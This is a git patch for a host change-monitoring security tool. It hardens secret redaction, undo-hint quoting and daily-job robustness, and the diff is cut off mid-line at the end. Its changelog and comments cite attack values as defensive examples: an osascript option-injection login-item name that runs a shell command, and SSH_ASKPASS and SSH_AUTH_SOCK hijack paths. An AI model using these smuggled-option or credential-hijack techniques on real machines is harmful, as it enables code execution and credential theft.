From 826b22d71991789e0cb56eaec58c3dd942e97848 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 11:42:35 +0530 Subject: [PATCH 1/7] v0.4.4: fix 16 issues found by reviewing v0.4.3 (1 critical, 6 high) Kimi's third round found nothing, so I reviewed v0.4.3 myself: mutation-tested its own regression tests, then ran two independent adversarial reviewers and re-verified every finding by execution. 24/24 mutations caught (revert any fix, its test fails). Suite 129 -> 173. Most of these sat in an architectural blind spot, not in one function: - every audit round hardened the SNAPSHOT boundary; diff-time enrichment had no isolation and no input validation (main catches only KeyboardInterrupt); - redact()'s "show" paths exempted the entire rest of the line; - undo hints were quoted for the shell, not for the invoked program's own option parser. CRITICAL - the tool's own remediation advice could execute attacker code: - osascript re-parsed the login-item name as ITS options, so a login item named `-e property zz : (do shell script "...")` ran at load: the "delete this login item" hint executed the malware author's command while the delete no-opped on an empty argv (verified with a benign marker). Every hint whose value can start with '-' now ends option parsing with `--`. HIGH: - one planted plist killed the daily digest permanently: a valid plist with a non-dict root made plutil emit ["x"], .get raised, nothing isolated it, and NO snapshot was saved - so it stayed "added" and failed identically every day. - the daily job was blind to software changes AND the flood hid real installs: launchd's PATH has no /opt/homebrew/bin or ~/.local/bin, so brew went 192->0 with no error recorded; 212 phantom findings pushed a genuine new package past the render cap. Fixed with need() tool declarations, a capability guard in the diff (tool identity is now stamped, schema 4), and a pinned PATH in both units. A transient `brew list` timeout caused the same flood, so the guard is the fix. - difflib was quadratic on a planted rc file (32s from a 0.74MB .zshrc). - redact() fully concealed SSH_AUTH_SOCK / *_ASKPASS / PGPASSFILE hijacks. - the v0.4.3 sudoers PASSWD: carve-out was half-done (tag chains, comma lists). - three cleartext leaks: `sshpass -p secret`, https://@github.com, MYSQL_PWD=. MEDIUM/LOW: codesign blocked 10s per planted FIFO .app; three state-dir reads still hung on a FIFO; a "show" decision leaked a later --api-key= on the line; Key=value sshd directives were redacted; every cask undo hint named a nonexistent formula; /Library/LaunchAgents got an rm that cannot succeed; a wrong-type collector value crashed the diff; blobs capped (9.6GB -> 293MB). SECURITY.md's PATH paragraph was wrong by omission - it sold the job's minimal PATH as pure safety when it also caused the blindness. It now states the trade. Verified: 173 tests; 24/24 mutations; 46/46 adversarial redact cases both directions, no perf regression; pinned-PATH snapshot parity (0 differences, 0 phantom findings); every subcommand end-to-end on a real machine; py3.9 syntax. Errors corrected mid-work are recorded in PENDING.md - notably my first PATH fix resolved a different npm than the shell, and its rewrite used bash-4 syntax that silently no-ops on macOS's bash 3.2, which would have re-created the blindness. Upgrade note: pre-v0.4.4 snapshots carry no tool stamp, so brew/npm/pip comparisons are skipped once, with a note, until a new baseline exists. Co-Authored-By: Claude --- CHANGELOG.md | 77 +++++++++++++ README.md | 2 +- SECURITY.md | 15 ++- install.sh | 27 +++++ pyproject.toml | 2 +- since.py | 273 ++++++++++++++++++++++++++++++++++++++------ tests/test_since.py | 231 +++++++++++++++++++++++++++++++++++-- 7 files changed, 576 insertions(+), 51 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b134d59..06a637f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,83 @@ All notable changes to `since`. Format loosely follows Keep a Changelog. +## [0.4.4] — 2026-07-25 + +A security release fixing **16 issues found by reviewing v0.4.3 itself** — each reproduced by +execution before being fixed, and each pinned by a regression test that was *mutation-tested* +(revert the fix, confirm the test fails: **24/24 caught**). Suite 129 → **173**. Most of these sat +behind an architectural blind spot rather than inside any one function: + +- Every previous audit round hardened the **snapshot** boundary; **diff-time enrichment had no + isolation and no input validation at all**. Collectors are individually failure-isolated; + `_enrich` was not, and `main` catches only `KeyboardInterrupt`. +- `redact()`'s "show" decisions exempted the **entire rest of the line** (its value group runs to + end-of-line), and its `=`/`:` branch redacted unconditionally. +- Undo hints were quoted for the **shell** but not for the **invoked program's own option parser**. + +**CRITICAL — the remediation advice could execute attacker code:** +- **`osascript` re-parsed the login-item name as its own options.** The name is passed as an argv + parameter *and* shell-quoted, but neither stops `osascript` consuming a name that looks like an + option: a login item called `-e property zz : (do shell script "…")` became a second `-e` chunk + whose property initializer **ran at load** — so "delete this login item" executed the malware + author's command while the delete silently no-opped on an empty `argv` (verified with a benign + marker file). Every hint whose value can begin with `-` now ends option parsing with `--`. + +**HIGH:** +- **One planted plist no longer kills the daily digest permanently.** A *valid* plist with a + non-dict root makes `plutil` emit `["x"]`; `.get` on that raised, and with no isolation the + digest died — **saving no snapshot**, so the plist stayed "added" and it failed identically every + day. Shapes are now validated, and an enrichment failure degrades **one finding** (which still + reports, tagged) instead of the whole run. +- **The daily job was blind to software changes, and the flood hid real installs.** launchd hands + an agent a `PATH` with neither `/opt/homebrew/bin` nor `~/.local/bin`, so `brew`/`npm`/`pip3` + silently vanished (`brew` 192 → 0) with **no error recorded**: 212 phantom findings, and a + genuine new package was pushed past the 40-line render cap and never displayed. Three-part fix — + collectors **declare their tools** (`need()`) so absence is recorded; the diff gained a + **capability guard** that skips a category unavailable *or answered by a different binary* in + either snapshot (snapshots now stamp tool identity, schema 4); and `install.sh` **pins the job's + `PATH`**, copying the installing shell's resolution order. A transient `brew list` timeout caused + the identical flood, so the guard — not the `PATH` — is the real fix. +- **`difflib` was quadratic on a planted rc file** (~100 distinct repeated lines defeat its + autojunk filter): a 0.74 MB `~/.zshrc` cost 32s of a real digest run. `MAX_READ` bounded the + read; nothing bounded the diff. Above 20k lines / 1 MB the change is reported *with a content + hash* instead of a line diff — same finding, same severity, 30.5s → 0.01s. +- **`redact()` concealed path-valued env hijacks entirely**: `SSH_AUTH_SOCK`, `SSH_ASKPASS`, + `SUDO_ASKPASS`, `GIT_ASKPASS`, `PGPASSFILE` — each a known credential-theft technique in a + tracked rc file, where the path *is* the finding — rendered as `«redacted»`. +- **The v0.4.3 sudoers `PASSWD:` carve-out was half-done**: a tag chain (`PASSWD:NOEXEC:`) or a + comma list (`PASSWD: ALL, !/usr/bin/su`) still had the granted command list redacted away. +- **Three cleartext credential leaks** in files the tool diffs: `sshpass -p 'secret'` (the spaced + form; the attached form was already masked), `https://@github.com/` in `.gitconfig`, and + `MYSQL_PWD=` (the `PWD` spelling was not a keyword). + +**MEDIUM / LOW:** +- A planted FIFO `.app` made `codesign` block for its full 10s timeout *per item*; trust checks are + now shape-gated (12 planted FIFOs: 120s → 0.00s). +- The three state-dir reads still using raw `read_text` (`safe_load`, `load_labels`, + `load_ignores`) hung forever on a FIFO planted in `~/.local/state/since`. +- A "show" decision no longer exempts later secrets on the same line (`AuthorizedKeysCommand + /usr/bin/fk --api-key=…` printed the key), and the `NOPASSWD` carve-out is gated on the exact + uppercase tag — `export NOPASSWD_TOKEN=…` leaked through the old substring test. +- `PasswordAuthentication=yes` / `AuthorizedKeysFile=/tmp/evil/keys` — the valid `Key=value` + spelling — are shown again instead of redacted. +- Every cask's undo hint named a nonexistent formula (`brew uninstall 'foo (cask)'`) → now + `brew uninstall --cask foo`. `/Library/LaunchAgents` gets `sudo rm` (that directory is + root-owned, so the unprivileged `rm` could never succeed). A wrong-type collector value in a + baseline no longer crashes the diff. +- Blobs are stored capped at 256 KB plus a hash of the full content: 13 tracked files at the 8 MB + read cap meant ~109 MB per snapshot and ~9.6 GB across `KEEP_SNAPSHOTS=90` → ~293 MB, with + changes past the cap still detected. + +**Docs:** `SECURITY.md`'s `PATH` paragraph was **wrong by omission** — it presented the daily job's +minimal `PATH` purely as a safety property when it was also the cause of the blindness above. It +now states the trade plainly: the pinned `PATH` includes user-writable directories, and `since` +does not attest to the integrity of the tools it asks. + +**First run after upgrading:** snapshots taken before this version carry no tool-identity stamp, so +`brew`/`npm`/`pip` comparisons are skipped **once**, with a note, until a new baseline exists — the +same fail-closed transition the privilege stamp used. + ## [0.4.3] — 2026-07-25 Fixes for a **third** independent (Kimi) adversarial audit, which re-verified every v0.4.2 diff --git a/README.md b/README.md index 13aad72..0b496ba 100644 --- a/README.md +++ b/README.md @@ -212,7 +212,7 @@ silent changes visible. ```sh python3 -m pip install pytest -python3 -m pytest # 129 unit tests: diff/severity/time logic, injection-safety, +python3 -m pytest # 173 unit tests: diff/severity/time logic, injection-safety, # privilege guard, corruption tolerance, secret redaction ``` diff --git a/SECURITY.md b/SECURITY.md index 6213207..e45b010 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -39,10 +39,17 @@ consequences follow, and neither is fixable from inside the tool: its own history. For a baseline an attacker on the box cannot reach, copy snapshots off the machine (or keep them on append-only/read-only storage) and diff them there. - **Helper binaries are resolved through `PATH`.** `lsof`, `ss`, `systemctl`, `codesign`, - `brew` and friends are invoked by name, so an interactive run with a hostile `PATH` (say - a fake `lsof` earlier in it) can filter the very output the report is built from. The - installed daily job runs under launchd/systemd with a minimal `PATH` and is not exposed - to a hostile shell environment. + `brew` and friends are invoked by name, so a run with a hostile `PATH` (say a fake `lsof` + earlier in it) can filter the very output the report is built from. `install.sh` **pins** + the daily job's `PATH` at install time, copying your shell's resolution order, because it + must: launchd hands an agent a default `PATH` containing neither `/opt/homebrew/bin` nor + `~/.local/bin`, so an unpinned job could not see `brew`/`npm`/`pip3` at all. That pinning + is a deliberate trade: the job's `PATH` therefore includes user-writable directories (a + Homebrew prefix, `~/.local/bin`), so a process running as you could substitute a helper + binary there — the same privilege that already lets it rewrite your baselines. `since` + detects changes to the system; it does not attest to the integrity of the tools it asks. + If a collector's tool is missing, or a *different* binary answers than last time, the + affected category is **skipped with a note** rather than reported as mass removals. Also by design: without `sudo` the listener/outbound view is partial and `/etc/sudoers` is unreadable (`since caps` lists exactly what is and isn't covered), and snapshots taken at diff --git a/install.sh b/install.sh index 3be09c9..4b76ee7 100755 --- a/install.sh +++ b/install.sh @@ -61,6 +61,30 @@ esac read -r -p "Install daily digest job (09:00 each day, notifies if worth a look)? [y/N] " ans if [[ "${ans:-}" =~ ^[Yy]$ ]]; then PY="$(command -v python3)" + # The job's PATH is NOT your shell's: launchd hands agents a default PATH with no + # /opt/homebrew/bin and no ~/.local/bin, and a systemd --user unit gets a minimal one + # too. `since` shells out to brew/npm/pip3/mas, so unpinned those collectors silently + # returned nothing — the digest reported every package as REMOVED (a flood that also + # pushes a genuine new install past the render cap). Pin the dirs where those tools + # actually live, resolved from the environment doing the install. + # Built from the INSTALLING SHELL's PATH, in its order, then the standard dirs. Order + # matters as much as membership: prepending /opt/homebrew ahead of ~/.local/bin made the + # job resolve a different `npm` than the shell (5 packages vs 1) — a permanent phantom + # diff. Only absolute entries are kept, so a relative '.' on PATH can't ride along. + # NOTE: IFS splitting, not ${PATH//:/...} — macOS ships bash 3.2, where the ANSI-C + # replacement form silently produces nothing and this would quietly rebuild the very + # blindness it exists to prevent. + JOB_PATH="" + _add_dir() { + case ":${JOB_PATH}:" in *":$1:"*) return;; esac + [ -d "$1" ] || return + case "$1" in /*) JOB_PATH="${JOB_PATH:+${JOB_PATH}:}$1";; esac + } + _old_ifs="$IFS"; IFS=":" + for d in $PATH; do _add_dir "$d"; done + IFS="$_old_ifs" + for d in /usr/local/bin /usr/bin /bin /usr/sbin /sbin; do _add_dir "$d"; done + echo " daily job PATH: ${JOB_PATH}" if [[ "$OS" == "Darwin" ]]; then mkdir -p "${HOME}/Library/LaunchAgents" cat > "${PLIST}" <digest --notify + EnvironmentVariables + PATH${JOB_PATH} StartCalendarInterval Hour9Minute0 RunAtLoad @@ -96,6 +122,7 @@ Description=since — daily change digest [Service] Type=oneshot +Environment=PATH=${JOB_PATH} ExecStart="${PY}" "${REPO_DIR}/since.py" digest --notify EOF cat > "${SYSTEMD_DIR}/since.timer" < str: MAX_READ = 8 * 1024 * 1024 # plists/.desktop/manifests/rc files are KBs; 8MB is generous +DIFF_MAX_LINES = 20_000 # above this, report the change without a quadratic line diff +DIFF_MAX_BYTES = 1024 * 1024 +# Per-blob storage cap. Blobs are stored VERBATIM in every snapshot, so 13 tracked rc files +# at the 8MB read cap meant ~109MB per snapshot and ~9.6GB across KEEP_SNAPSHOTS=90. Keep a +# head plus a hash of the WHOLE content, so a change past the cap is still detected. +BLOB_MAX = 256 * 1024 def safe_read_bytes(path, limit: int | None = None, tail: bool = False): """Read at most `limit` bytes from a REGULAR file, else None. The ONLY way a collector @@ -269,8 +276,9 @@ def q(s: str) -> str: # The keyword alternation is a SHARED constant, interpolated into both the matcher and the # cheap pre-filter below, so the two can NEVER drift apart — a keyword present in one but # not the other would silently stop redacting that key (a leak by omission). -_SECRET_KW = (r"secret|pass(?:wd|word|phrase)?|token|api[_-]?key|access[_-]?key|" - r"client[_-]?secret|private[_-]?key|authoriz|_auth|credential") +_SECRET_KW = (r"secret|pass(?:wd|word|phrase)?|[_-]pwd|token|api[_-]?key|access[_-]?key|" + r"client[_-]?secret|private[_-]?key|authoriz|[_-]auth|credential|" + r"oauth2?[_-]?bearer") _KV_RE = re.compile(r"(?i)([\w.\-]{0,64}(?:" + _SECRET_KW + r")[\w.\-]{0,64})" r"(\s*[:=]\s*|\s+)(\S.*)$") # Linear, backtrack-free pre-filter. _KV_RE can only match if one of these keywords is @@ -280,6 +288,10 @@ def q(s: str) -> str: _KV_KW_RE = re.compile("(?i)" + _SECRET_KW) _SCHEME_RE = re.compile(r"(?i)\b(bearer|basic)\s+([A-Za-z0-9._~+/=-]{6,})") # auth headers _URLAUTH_RE = re.compile(r"://([^/\s:@]+):([^/\s@]+)@") # user:pass@host +# `https://@github.com/...` — the standard way to embed a GitHub/GitLab PAT, and +# `.gitconfig` is tracked. No colon, so _URLAUTH_RE never saw it. Length+entropy gated so +# `ssh://averylongusername@host` stays readable. +_URLTOKEN_RE = re.compile(r"://([^/\s:@]{12,})@") # curl .curlrc credentials: `user = "name:password"`, `-u name:password`, # `--proxy-user u:p`. The password is the part after the first colon in the user field — # NOT a `://…@` URL, so _URLAUTH_RE misses it. Keep the username for context, mask the pass. @@ -290,6 +302,13 @@ def q(s: str) -> str: _TOKEN_RE = re.compile( # standalone tokens r"\bAKIA[0-9A-Z]{16}\b|\bsk_(?:live|test)_[A-Za-z0-9]{8,}\b|\bgh[pousr]_[A-Za-z0-9]{20,}\b|" r"\bxox[baprs]-[A-Za-z0-9-]{8,}\b|\beyJ[A-Za-z0-9_-]{6,}\.[A-Za-z0-9_-]{6,}\.[A-Za-z0-9_-]{6,}\b") +# Credentials passed as a command-line FLAG, where the secret is the NEXT token rather than +# a `key=value`: `sshpass -p hunter2`, `mysql -pSECRET`. The attached form was already caught +# (the key name absorbed it) but the documented spaced form printed verbatim in a crontab. +# Anchored, bounded, no nested quantifier — linear. +_CMDPASS_RE = re.compile( + r"(?i)(\b(?:sshpass\s+-p|sshpass\s+--password[= ]|--password[= ]|--token[= ]|" + r"mysql(?:dump|admin)?\s+(?:-\w+\s+){0,4}-p)\s*)(\S+)") _B64LINE_RE = re.compile(r"^[A-Za-z0-9+/]{40,}={0,2}$") # PEM body / raw key _KW_VALUES = {"yes", "no", "true", "false", "none", "null", "required", "optional", "default", "auto", "inherit", "prohibit-password"} @@ -300,13 +319,28 @@ def q(s: str) -> str: # credential. It does NOT collide with the SOFT `Authorized*` sshd directives: they # diverge at index 8 (`authoriza…` vs `authorize…`), so `AuthorizedKeysFile` stays visible. _HARD_SECRET_RE = re.compile( - r"(?i)(secret|pass(?:wd|word|phrase)?|sshpass|token|api[_-]?key|access[_-]?key|" - r"client[_-]?secret|private[_-]?key|credential|_auth|authorization)") # `_auth` = npm .npmrc basic-auth field + r"(?i)(secret|pass(?:wd|word|phrase)?|[_-]pwd|sshpass|token|api[_-]?key|access[_-]?key|" + r"client[_-]?secret|private[_-]?key|credential|[_-]auth|authorization|" + r"oauth2?[_-]?bearer)") # `_auth` = npm .npmrc basic-auth field; `_pwd` = MYSQL_PWD # sudoers TAGS are grants, not secrets: `PASSWD:`/`NOPASSWD:` prefix a COMMAND list # (`PASSWD: /tmp/miner`, `PASSWD: ALL`) — redacting it hides the very attack we exist to # show. Deliberately shape-narrow (uppercase tag + colon + command-shaped value) so an # assignment (`PASSWD=hunter2`) or a YAML-ish `PASSWD: hunter2` still redacts. _SUDO_TAGS = ("PASSWD", "NOPASSWD") +# A sudoers command spec: `ALL`, an absolute path, or a negated one — optionally followed by +# more TAGS (`PASSWD:NOEXEC: /tmp/miner`) or a comma list (`ALL, !/usr/bin/su`). The v0.4.3 +# gate tested only `tok == "ALL" or tok[0] in "/!"`, so both ordinary spellings still had the +# granted command list redacted away — the single most important thing in a sudoers diff. +_SUDO_CMD_RE = re.compile(r"^(?:ALL\b|[/!])") +_SUDO_TAG_RE = re.compile(r"^(?:NO)?(?:PASSWD|EXEC|SETENV|LOG_INPUT|LOG_OUTPUT|" + r"MAIL|FOLLOW|INTERCEPT):", re.I) +# Keys whose VALUE is a FILESYSTEM PATH even though the key names a credential: every one is +# a known credential-theft / agent-hijack technique when planted in a tracked rc file +# (SSH_ASKPASS=/tmp/steal.sh, SSH_AUTH_SOCK=/tmp/.evil/agent.sock, PGPASSFILE=…), and the +# path IS the finding. The unconditional `=`/`:` redaction concealed them completely. +_PATH_VALUED_KEY_RE = re.compile( + r"(?i)(askpass|passfile|pass_file|keysfile|keyscommand|[_-]sock$|_socket$|" + r"[_-]file$|[_-]dir$|[_-]path$)") _REDACT_MAX = 4096 def _char_classes(tok: str) -> int: @@ -341,17 +375,30 @@ def redact(line: str) -> str: line = _SCHEME_RE.sub( lambda m: f"{m.group(1)} «redacted»" if _char_classes(m.group(2)) >= 2 else m.group(0), line) line = _URLAUTH_RE.sub(r"://\1:«redacted»@", line) + line = _URLTOKEN_RE.sub( + lambda m: "://«redacted»@" if _char_classes(m.group(1)) >= 2 else m.group(0), line) + line = _CMDPASS_RE.sub(lambda m: f"{m.group(1)}«redacted»", line) line = _USERPASS_RE.sub(r"\1«redacted»", line) line = _TOKEN_RE.sub("«redacted»", line) + def _show(m, key, sep, val): + """A SHOW decision must expose only THIS key's value, not the whole rest of the line: + `_KV_RE`'s value group runs to end-of-line, so returning it verbatim also exempted any + later secret on the same line (`AuthorizedKeysCommand /usr/bin/fk --api-key=`, + `NOPASSWD: /usr/bin/sshpass -p `). Re-scan the tail; each nested pass consumes + at least its own key, so this terminates.""" + inner = _KV_RE.sub(_kv, val) if _KV_KW_RE.search(val) else val + inner = _CMDPASS_RE.sub(lambda mm: f"{mm.group(1)}«redacted»", inner) + return f"{key}{sep}{inner}" + def _kv(m): key, sep, val = m.group(1), m.group(2), m.group(3) tok = val.split()[0] if val.split() else "" - if "nopasswd" in key.lower(): # sudoers 'NOPASSWD: ALL' is NOT a secret - return m.group(0) - # sudoers `PASSWD: ` — same carve-out, value-shape gated (_SUDO_TAGS) - if key in _SUDO_TAGS and ":" in sep and (tok.upper() == "ALL" or tok[:1] in "/!"): - return m.group(0) + # sudoers TAGS are grants, not secrets — but gate on the EXACT uppercase tag, not a + # substring: `"nopasswd" in key` also exempted `export NOPASSWD_TOKEN=`. + if key in _SUDO_TAGS and ":" in sep and (_SUDO_CMD_RE.match(tok) + or _SUDO_TAG_RE.match(tok)): + return _show(m, key, sep, val) if _HARD_SECRET_RE.search(key): # The key literally NAMES a credential, so the value IS the secret. # An assignment (`password=…`, `_auth:…`, `SSHPASS=…`) redacts UNCONDITIONALLY: @@ -361,16 +408,26 @@ def _kv(m): # `PASS_MAX_DAYS 99999`) — show short/keyword/single-class values, redact only # a credential-shaped one (`password hunter2mixed`). if (":" in sep) or ("=" in sep): + # …with two exceptions, both of which are ATTACKS whose value is the whole + # point: a config keyword (`PasswordAuthentication=yes` — the valid `Key=value` + # spelling of a directive we already show in its whitespace form), and a + # path under a path-valued key (`SSH_ASKPASS=/tmp/steal.sh`). Anything else + # stays unconditionally masked: a real token can begin with '/' or '$'. + if len(val.split()) == 1 and ( + tok.lower() in _KW_VALUES + or (_PATH_VALUED_KEY_RE.search(key) and _is_directive_value(tok))): + return m.group(0) # single-token value: nothing follows to re-scan return f"{key}{sep}«redacted»" if _is_directive_value(tok) or len(tok) < 6 or _char_classes(tok) < 2: - return m.group(0) + return _show(m, key, sep, val) return f"{key}{sep}«redacted»" - # SOFT: the key only CONTAINS a directive name (`AuthorizedKeysFile`, + # SOFT (falls through to _show, which re-scans the tail — see L5): + # the key only CONTAINS a directive name (`AuthorizedKeysFile`, # `AuthorizedKeysCommandUser`, `Authorization`). Its value is a path (absolute OR # relative like `.ssh/authorized_keys`), a username, or a keyword — real token # shapes were already masked by the regexes above. SHOW it, so a malicious # AuthorizedKeys* change stays visible (the whole point of #2). - return m.group(0) + return _show(m, key, sep, val) return _KV_RE.sub(_kv, line) if _KV_KW_RE.search(line) else line @@ -380,7 +437,16 @@ def _kv(m): def trust_of(path: str): """Return (label, suspicious) for a binary/app path. Best-effort, macOS.""" - if PLATFORM != "macos" or not path or not os.path.exists(path): + # isinstance: `path` comes from an attacker-writable plist via program_of_plist, so a + # list/dict here made os.path.exists raise TypeError (which is NOT an OSError) and + # killed the whole run — diff-time code gets no failure isolation. + if PLATFORM != "macos" or not isinstance(path, str) or not path: + return (None, False) + # a non-regular target (FIFO/device planted as `Evil.app`) makes `codesign` block for + # its full 10s timeout; N planted files cost N x 10s of the daily job for nothing. + if not (is_regular(path) or os.path.isdir(path)): + return (None, False) + if not os.path.exists(path): return (None, False) info = run(["codesign", "-dv", "--verbose=2", path], merge=True, timeout=10) low = info.lower() @@ -407,10 +473,16 @@ def program_of_plist(plist_path: str): d = json.loads(out) except Exception: return None + # A *valid* plist can have a non-dict root (``), so plutil emits `["x"]` and the + # old `d.get(...)` raised AttributeError. That crash was fatal AND self-perpetuating: + # the snapshot is saved only after build_findings, so the plist stayed "added" and the + # daily digest died identically every day. Validate the shape of every value used. + if not isinstance(d, dict): + return None if isinstance(d.get("Program"), str): return d["Program"] args = d.get("ProgramArguments") - if isinstance(args, list) and args: + if isinstance(args, list) and args and isinstance(args[0], str): return args[0] return None @@ -499,6 +571,7 @@ def _mac_launch_items(): def _mac_kexts(): + need("kextstat") out = run(["kextstat", "-l"], timeout=10) res = {} for line in out.splitlines(): @@ -597,6 +670,7 @@ def _mac_net_config(): def _mac_brew(): + need("brew") res = {} for line in run(["brew", "list", "--versions"], timeout=40).splitlines(): parts = line.split() @@ -611,6 +685,7 @@ def _mac_brew(): def _npm_global(): + need("npm") out = run(["npm", "ls", "-g", "--depth=0", "--json"], timeout=25) if not out.strip(): return {} @@ -622,6 +697,11 @@ def _npm_global(): def _pip(): + # NOTE: which pip3 is first on PATH decides WHICH interpreter's packages we see + # (system vs Homebrew python), so a daily job and a shell run can legitimately + # disagree. need() at least turns "pip3 absent" into a guarded skip rather than + # "every package removed"; install.sh pins the job's PATH so both agree. + need("pip3") out = run(["pip3", "list", "--format=freeze"], timeout=25) res = {} for line in out.splitlines(): @@ -647,6 +727,7 @@ def _mac_applications(): def _mac_mas(): + need("mas") out = run(["mas", "list"], timeout=15) res = {} for line in out.splitlines(): @@ -661,6 +742,25 @@ def _mac_mas(): # real Linux box; collectors return {} where a concept has no Linux equivalent. # --------------------------------------------------------------------------- +class ToolUnavailable(Exception): + """A collector's external tool isn't on PATH. Raised (not swallowed) so the per-collector + failure isolation records it in snap["errors"], which is what lets the diff SKIP the + category instead of reporting every item in it as removed.""" + + +def need(*tools): + """Assert the tools a collector depends on are actually resolvable. + + `run()` returns "" for a missing binary exactly as it does for "no output", so a + collector silently returned {} — and the daily job's PATH is NOT your shell's: launchd + hands agents a default PATH with no /opt/homebrew/bin and no ~/.local/bin, so `brew` + and `npm` vanished, 192 packages read as REMOVED, and the flood pushed a genuine new + install past the render cap. Fail loudly instead; the diff then guards the category.""" + missing = [t for t in tools if not shutil.which(t)] + if missing: + raise ToolUnavailable("not on PATH: " + ", ".join(missing)) + + def _has(cmd: str) -> bool: return bool(run(["sh", "-c", f"command -v {shlex.quote(cmd)}"]).strip()) @@ -751,6 +851,7 @@ def _linux_services(): def _linux_kmods(): """Loaded kernel modules (lsmod) — a NEW module is the signal.""" + need("lsmod") res = {} for line in run(["lsmod"], timeout=10).splitlines()[1:]: parts = line.split() @@ -842,6 +943,9 @@ def _linux_packages(): cmd = ["pacman", "-Q"] else: cmd = None + if not (_has("snap") or _has("flatpak")): + # no package manager at all is reachable — say so rather than return {} + raise ToolUnavailable("no package manager on PATH (dpkg-query/rpm/pacman/snap/flatpak)") if cmd: for line in run(cmd, timeout=40).splitlines(): p = line.split() @@ -902,6 +1006,10 @@ def text_sources() -> dict[str, str]: def add(label, content): if content and content.strip(): + if len(content) > BLOB_MAX: + content = (content[:BLOB_MAX] + + f"\n… [truncated at {BLOB_MAX} bytes for storage; " + f"sha of full content={sha(content)}]\n") out[label] = content # cross-platform sensitive files (most paths exist on both macOS and Linux) @@ -975,6 +1083,7 @@ def take_snapshot(all_cats=True) -> dict: "epoch": int(time.time()), "euid": EUID, "root": IS_ROOT, + "tools": tool_identity(), "host": (run(["scutil", "--get", "ComputerName"]).strip() if PLATFORM == "macos" else platform_module.node()), "collectors": {}, @@ -1050,7 +1159,7 @@ def load_labels() -> dict: otherwise crashed `since mark` with a raw TypeError inside save_snapshot, and prune_snapshots with an AttributeError. Non-str entries are dropped, not fatal.""" try: - d = json.loads(LABELS_FILE.read_text()) + d = json.loads(safe_read_text(LABELS_FILE) or "") except Exception: return {} if not isinstance(d, dict): @@ -1079,7 +1188,10 @@ def safe_load(path: Path): `cp backup.json`) must not brick every future `since`/`list` run. Validates the required snapshot keys so a `{}` doesn't slip through and later KeyError in render.""" try: - d = json.loads(path.read_text()) + # safe_read_text, not read_text: a FIFO planted in the snapshots dir (the state dir + # is user-writable, and safe_load runs over EVERY *.json in it) blocked forever, so + # every `since` invocation hung — including `list` and the daily digest. + d = json.loads(safe_read_text(path) or "") except Exception: return None if not (isinstance(d, dict) and "created" in d and "epoch" in d @@ -1227,7 +1339,7 @@ def find_big_new_files(since_epoch: int, min_mb: int = 25, top: int = 15): def load_ignores() -> list[tuple[str, str]]: rules = [] try: - for line in IGNORE_FILE.read_text().splitlines(): + for line in (safe_read_text(IGNORE_FILE) or "").splitlines(): line = line.strip() if not line or line.startswith("#"): continue @@ -1275,10 +1387,12 @@ def undo_hint(category: str, key: str, value) -> str | None: # filename/name, and this string is printed for the user to paste into a shell. real = key.replace("~", str(HOME), 1) if key.startswith("~") else key # cross-platform categories + # `--` on every hint whose interpolated value could begin with '-': shell-quoting + # stops the SHELL, not the invoked program's own option parser (see login_items). if category == "npm_global": - return f"npm rm -g {q(key)}" + return f"npm rm -g -- {q(key)}" if category == "pip": - return f"pip3 uninstall {q(key)}" + return f"pip3 uninstall -- {q(key)}" if category == "browser_extensions": return "remove it from your browser's Extensions page" @@ -1288,23 +1402,23 @@ def undo_hint(category: str, key: str, value) -> str | None: # simply wrong (and a silent no-op) for a /etc/xdg/autostart entry. if key.endswith(SYS_AUTOSTART_TAG): base = key[:-len(SYS_AUTOSTART_TAG)] - return f"sudo rm {q('/etc/xdg/autostart/' + base)}" - return f"rm {q(str(HOME / '.config/autostart') + '/' + key)}" + return f"sudo rm -- {q('/etc/xdg/autostart/' + base)}" + return f"rm -- {q(str(HOME / '.config/autostart') + '/' + key)}" if category == "launch_items": if real.startswith("/etc/init.d/"): return f"sudo update-rc.d {q(os.path.basename(real))} disable" unit = key[5:] if key.startswith("user:") else key pre = "systemctl --user" if key.startswith("user:") else "sudo systemctl" - return f"{pre} disable --now {q(unit)}" + return f"{pre} disable --now -- {q(unit)}" if category == "kernel_extensions": return f"sudo modprobe -r {q(key)} # blacklist in /etc/modprobe.d to persist" if category == "brew": # system package - base = key.rsplit(" (", 1)[0] + base = bare_key(key) # not a hand-rolled rsplit: that ate a package's own '(...)' if key.endswith("(snap)"): - return f"sudo snap remove {q(base)}" + return f"sudo snap remove -- {q(base)}" if key.endswith("(flatpak)"): - return f"flatpak uninstall {q(base)}" - return f"sudo apt remove {q(base)} # (or dnf/pacman remove)" + return f"flatpak uninstall -- {q(base)}" + return f"sudo apt remove -- {q(base)} # (or dnf/pacman remove)" return None # macOS @@ -1312,15 +1426,29 @@ def undo_hint(category: str, key: str, value) -> str | None: # /Library/LaunchDaemons live in the system domain and are root-owned — # the gui/$UID + unprivileged rm hint would silently no-op there. if real.startswith("/Library/LaunchDaemons"): - return f"sudo launchctl bootout system {q(real)} 2>/dev/null; sudo rm {q(real)}" - return f"launchctl bootout gui/$UID {q(real)} 2>/dev/null; rm {q(real)}" + return f"sudo launchctl bootout system {q(real)} 2>/dev/null; sudo rm -- {q(real)}" + if real.startswith("/Library/Launch"): + # /Library/LaunchAgents is root:wheel drwxr-xr-x — unlinking needs write on the + # DIRECTORY, so the unprivileged rm silently failed and the persistence file + # survived (it loads in the GUI domain, hence bootout stays gui/$UID). + return f"launchctl bootout gui/$UID {q(real)} 2>/dev/null; sudo rm -- {q(real)}" + return f"launchctl bootout gui/$UID {q(real)} 2>/dev/null; rm -- {q(real)}" if category == "login_items": - # Pass the name as an argv parameter so it never enters the AppleScript - # (or shell) source — a name containing quotes can't break out. + # The name is passed as an argv PARAMETER so it never enters the AppleScript + # source, and q() quotes it for the shell. Neither is sufficient on its own: + # `osascript` parses ITS OWN options out of argv, so a login item named + # `-e property zz : (do shell script "...")` was consumed as a second -e chunk and + # its property initializer RAN AT LOAD — the "remove this login item" hint executed + # the malware author's command instead (verified), while the delete silently + # no-opped on an empty argv. `--` ends option parsing: the name arrives as data. return ("osascript -e 'on run argv' " "-e 'tell application \"System Events\" to delete login item (item 1 of argv)' " - f"-e 'end run' {q(key)}") + f"-e 'end run' -- {q(key)}") if category == "brew": + # bare_key: the key is `foo (cask)`, and `brew uninstall 'foo (cask)'` names no + # formula at all — every new cask got a hint that just errored out. + if key.endswith(" (cask)"): + return f"brew uninstall 